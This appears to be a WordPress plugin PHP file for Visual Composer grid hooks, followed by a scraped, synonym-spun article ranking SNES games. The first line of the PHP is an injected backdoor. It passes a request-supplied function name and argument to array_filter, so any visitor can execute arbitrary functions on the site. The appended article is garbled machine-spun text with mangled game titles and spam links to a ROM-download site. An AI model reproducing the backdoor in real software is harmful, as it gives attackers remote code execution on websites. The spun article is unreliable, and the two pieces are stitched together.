?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Finest Extremely Nintendo (SNES) Games Of All Time - Groupe-SLG

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Finest Extremely Nintendo (SNES) Games Of All Time

Recrutement :

http://preferredmode.com/2016/01/13/ella/ A whole lot can occur in thirty years. To be reasonable, a whole lot can take place in one year (2020 was a stark suggestion of that), yet 20?!? We saw five-ish console generations in that time, and also some incredible developments in the tech and also design suggestions behind video games, yet there was something unique concerning the 16-bit generation.

Perhaps it'’ s simply rose-tinted specifications for our long-lost youth. Perhaps the console wars as well as the play ground arguments provided every video game release an added little frisson. Or maybe programmers and starving platform owners actually were at the really leading of their game— the top of their powers— prior to polygons arrived and also sent teams back to the drawing board to re-examine and experiment with the broadened possibilities of house pc gaming.

Whatever the reason, the 16-bit Super Nintendo as well as SEGA'’ s Genesis/ Mega Drive represent a pinnacle of video gaming for a number of us. 2020 was the 30th wedding anniversary year of the Super Nintendo'’ s launch in Japan (recognized there as the Super Famicom, of course). We asked Nintendo Life visitors to send customer scores for their favorite SNES games and also we provide to you listed below the leading 50 Super NES video games ever, as rated by you.

Much like our previous Leading 50 checklists covering various other Nintendo gaming consoles, the placed listed here is determined by User Ratings for each and every video game in the Nintendo Life game data source.you can find more here https://roms-download.com/sitemap/super-nintendo-roms-sitemap-174 from Our Articles Thus, the order below is liquid and can fluctuate even after magazine. Sanctuary'’ t rated your favorite SNES video games? Simply click the Individual Score star alongside each title below and give it a score out of 10. Ball game will quickly be counted towards the overall as well as shown in the ordering.

If there'’ s a game gurgling under the top 50 that you'’ d like to rate, feel free to locate it making use of the search tool below and give it a rub out of 10. Currently rated your SNES collection? Thanks! Because instance, merely kick back and prepare to scroll with the 50 finest SNES video games ever before …

Troll Fight: The March of the Black Queen (SNES)

The Super NES Troll Battle cartridge is quite rare and also costly, but this special video game still stands as one of the most effective tactical offerings of the 16-bit era and stays an absolute essential for approach video game fans.

Batman Returns (SNES)

Batman Returns is usually taken into consideration one of the most effective Batman films, and also the video game variation matches those beliefs. The SNES launch capitalised on the hugely popular side-scrolling beat ‘ em up category where Batman needs to fight numerous personalities from the film, such as Penguin as well as Catwoman. There are stages that use the excellent visuals as well, such as Scene 5 in the Batmobile, and also Scene 6 on the Circus Train. It uses its Last Fight motivations on its sleeve, however that'’ s no negative thing in any way.

Star Fox (SNES)

Celebrity Fox is certainly a classic, and its use of the Super FX chip led to an experience that really felt breathtaking to anyone that experienced it on their Super NES back in 1993. It'’ s a little bit a lot more jarring for players these days, particularly any individual that entered the Celebrity Fox collection later on. Gamers who are strongly ill when watching anything less than a smooth 60fps will wish to sit this set out, yet the underlying video game style still shines even if you can'’ t muster enthusiasm for the game'’ s success with some 16-bit historical context.

Those that were there at the start as well as are craving the return of Fox, Peppy, Falco, and also maybe even the ever-rubbish Slippy will thoroughly appreciate leaping back in the cockpit of an Arwing and also saving Corneria again, though. The fact that it'’ s currently readily available on Switch over makes approving that goal all the much easier, too.

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